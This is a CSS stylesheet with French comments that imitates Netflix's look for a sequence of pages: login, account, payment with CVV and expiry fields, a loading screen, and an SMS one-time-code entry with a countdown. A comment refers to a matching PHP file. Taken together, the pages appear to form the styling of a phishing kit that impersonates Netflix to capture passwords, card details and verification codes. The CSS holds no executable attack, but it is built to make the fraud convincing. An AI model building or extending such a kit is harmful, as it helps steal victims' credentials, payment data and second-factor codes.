/* Netflix Style CSS avec arrière-plans personnalisés */

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
    background: #000000;
    color: #ffffff;
    line-height: 1.4;
    overflow-x: hidden;
}

/* ===== NETFLIX HEADER ===== */
.netflix-header {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    z-index: 1000;
    padding: 20px 50px;
    background: linear-gradient(180deg, rgba(0,0,0,0.7) 10%, transparent);
}

.netflix-logo-header {
    display: flex;
    align-items: center;
}

/* Netflix Logo Text Style - Matching PHP file */
.netflix-logo-text {
    color: #e50914;
    font-size: 28px;
    font-weight: 900;
    font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
    letter-spacing: -1px;
    text-decoration: none;
    cursor: pointer;
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
}

/* ===== ARRIÈRE-PLANS NETFLIX UNIFIÉS ===== */

/* Arrière-plan Netflix pour toutes les pages */
.login-wrapper,
#accountPage,
#paymentPage,
#loadingPage,
#smsPage {
    min-height: 100vh;
    background: linear-gradient(
        rgba(0, 0, 0, 0.4), 
        rgba(0, 0, 0, 0.4)
    ), url('netflix-bg.jpg');
    background-size: cover;
    background-position: center;
    background-attachment: fixed;
    background-repeat: no-repeat;
}

.login-wrapper {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 80px 20px 20px;
}

#accountPage,
#paymentPage {
    padding-top: 80px;
}

#loadingPage {
    display: flex;
    align-items: center;
    justify-content: center;
}

#smsPage {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 20px;
}

/* ===== STYLES GÉNÉRAUX ===== */

.container {
    max-width: 450px;
    margin: 0 auto;
    padding: 60px 68px 40px;
    background: rgba(0, 0, 0, 0.75);
    border-radius: 4px;
    backdrop-filter: blur(10px);
    border: 1px solid rgba(255, 255, 255, 0.1);
}

.netflix-logo {
    color: #e50914;
    font-size: 32px;
    font-weight: bold;
    text-align: center;
    margin-bottom: 28px;
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
}

h1 {
    color: #ffffff;
    font-size: 32px;
    font-weight: 700;
    margin-bottom: 28px;
    text-align: left;
}

h2 {
    color: #ffffff;
    font-size: 24px;
    font-weight: 500;
    margin-bottom: 20px;
}

/* ===== INDICATEUR DE PROGRESSION ===== */
.progress-indicator {
    margin-bottom: 20px;
}

.step {
    color: #737373;
    font-size: 13px;
    text-transform: uppercase;
}

.step.active {
    color: #ffffff;
}

/* ===== FORMULAIRES ===== */

.form-group {
    margin-bottom: 16px;
}

label {
    display: block;
    color: #8c8c8c;
    font-size: 16px;
    margin-bottom: 5px;
}

input[type="email"],
input[type="password"],
input[type="text"],
input[type="tel"] {
    width: 100%;
    height: 50px;
    background: #333333;
    border: none;
    border-radius: 4px;
    color: #ffffff;
    font-size: 16px;
    padding: 16px 20px;
    transition: background-color 0.3s ease;
}

input[type="email"]:focus,
input[type="password"]:focus,
input[type="text"]:focus,
input[type="tel"]:focus {
    outline: none;
    background: #454545;
    box-shadow: 0 0 0 2px #e50914;
}

input::placeholder {
    color: #8c8c8c;
}

/* Ligne d'entrée pour CVV et date d'expiration */
.input-row {
    display: flex;
    gap: 16px;
}

.input-row .form-group {
    flex: 1;
}

/* ===== BOUTONS ===== */

.btn-primary {
    width: 100%;
    height: 48px;
    background: #e50914;
    color: #ffffff;
    border: none;
    border-radius: 4px;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    transition: background-color 0.3s ease, transform 0.2s ease;
    margin-top: 24px;
}

.btn-primary:hover {
    background: #f40612;
    transform: translateY(-1px);
}

.btn-primary:active {
    background: #d40813;
    transform: translateY(0);
}

/* ===== AUTRES ÉLÉMENTS DE FORMULAIRE ===== */

.form-other {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 12px;
    font-size: 13px;
}

.remember-me {
    display: flex;
    align-items: center;
    color: #b3b3b3;
}

.remember-me input[type="checkbox"] {
    margin-right: 8px;
    width: 16px;
    height: 16px;
}

.need-help {
    color: #b3b3b3;
    text-decoration: none;
}

.need-help:hover {
    text-decoration: underline;
}

.signup-now {
    margin-top: 16px;
    color: #737373;
    font-size: 16px;
}

.signup-now a {
    color: #ffffff;
    text-decoration: none;
}

.signup-now a:hover {
    text-decoration: underline;
}

.recaptcha-terms {
    margin-top: 13px;
    color: #8c8c8c;
    font-size: 13px;
    line-height: 1.4;
}

.recaptcha-terms a {
    color: #0071eb;
    text-decoration: none;
}

.recaptcha-terms a:hover {
    text-decoration: underline;
}

/* ===== PAGE DE CHARGEMENT ===== */

.loading-container {
    text-align: center;
}

.loading-spinner {
    width: 60px;
    height: 60px;
    border: 4px solid rgba(229, 9, 20, 0.3);
    border-top: 4px solid #e50914;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 0 auto 20px;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-text {
    font-size: 18px;
    color: #ffffff;
    margin-bottom: 10px;
}

.loading-subtext {
    font-size: 14px;
    color: #8c8c8c;
}

/* ===== PAGE SMS ===== */

.sms-container {
    max-width: 400px;
    margin: 0 auto;
    padding: 40px;
    background: rgba(0, 0, 0, 0.8);
    border-radius: 8px;
    backdrop-filter: blur(15px);
    border: 1px solid rgba(229, 9, 20, 0.3);
    text-align: center;
}

.sms-icon {
    width: 80px;
    height: 80px;
    background: linear-gradient(135deg, #e50914, #f40612);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin: 0 auto 30px;
    font-size: 30px;
}

.countdown-display {
    font-size: 48px;
    font-weight: bold;
    color: #e50914;
    margin: 20px 0;
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
}

.sms-input {
    width: 100%;
    height: 60px;
    background: rgba(255, 255, 255, 0.1);
    border: 2px solid rgba(229, 9, 20, 0.5);
    border-radius: 8px;
    color: #ffffff;
    font-size: 24px;
    text-align: center;
    letter-spacing: 8px;
    margin: 20px 0;
}

.sms-input:focus {
    outline: none;
    border-color: #e50914;
    box-shadow: 0 0 20px rgba(229, 9, 20, 0.3);
}

/* Messages d'erreur */
.error-message {
    background: rgba(229, 9, 20, 0.1);
    border: 1px solid #e50914;
    color: #e50914;
    padding: 15px;
    border-radius: 5px;
    margin: 20px 0;
    text-align: center;
    animation: shake 0.5s ease-in-out;
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-5px); }
    75% { transform: translateX(5px); }
}

/* Messages de succès */
.success-message {
    background: rgba(0, 255, 0, 0.1);
    border: 1px solid #00ff00;
    color: #00ff00;
    padding: 15px;
    border-radius: 5px;
    margin: 20px 0;
    text-align: center;
}

/* ===== RESPONSIVE ===== */

@media (max-width: 740px) {
    .netflix-header {
        padding: 20px 20px;
    }
    
    .netflix-logo-text {
        font-size: 24px;
    }
    
    .container {
        padding: 20px;
        margin: 20px;
    }
    
    .netflix-logo {
        font-size: 28px;
    }
    
    h1 {
        font-size: 28px;
    }
    
    .countdown-display {
        font-size: 36px;
    }
    
    .sms-container {
        padding: 20px;
        margin: 20px;
    }
    
    .login-wrapper {
        padding: 100px 20px 20px;
    }
}

@media (max-width: 500px) {
    .container {
        padding: 15px;
        margin: 10px;
    }
    
    input[type="email"],
    input[type="password"],
    input[type="text"],
    input[type="tel"] {
        height: 45px;
        font-size: 14px;
    }
    
    .btn-primary {
        height: 45px;
        font-size: 14px;
    }
    
    .countdown-display {
        font-size: 28px;
    }
    
    .sms-input {
        height: 50px;
        font-size: 20px;
        letter-spacing: 4px;
    }
    
    .input-row {
        flex-direction: column;
        gap: 16px;
    }
    
    .netflix-logo-text {
        font-size: 20px;
    }
}

/* ===== ANIMATIONS SUPPLÉMENTAIRES ===== */

.fade-in {
    animation: fadeIn 0.5s ease-in;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(20px); }
    to { opacity: 1; transform: translateY(0); }
}

.slide-in {
    animation: slideIn 0.3s ease-out;
}

@keyframes slideIn {
    from { transform: translateX(-100%); }
    to { transform: translateX(0); }
}

/* Effets de particules pour l'arrière-plan */
.particles {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    pointer-events: none;
    z-index: -1;
}

.particle {
    position: absolute;
    width: 2px;
    height: 2px;
    background: rgba(229, 9, 20, 0.3);
    border-radius: 50%;
    animation: float 6s ease-in-out infinite;
}

@keyframes float {
    0%, 100% { transform: translateY(0) rotate(0deg); opacity: 0; }
    50% { transform: translateY(-100px) rotate(180deg); opacity: 1; }
}

/* Styles pour les messages temporaires */
.temp-message {
    position: fixed;
    top: 20px;
    right: 20px;
    background: rgba(229, 9, 20, 0.9);
    color: white;
    padding: 15px 20px;
    border-radius: 5px;
    z-index: 1000;
    animation: slideInRight 0.3s ease-out;
}

@keyframes slideInRight {
    from { transform: translateX(100%); }
    to { transform: translateX(0); }
}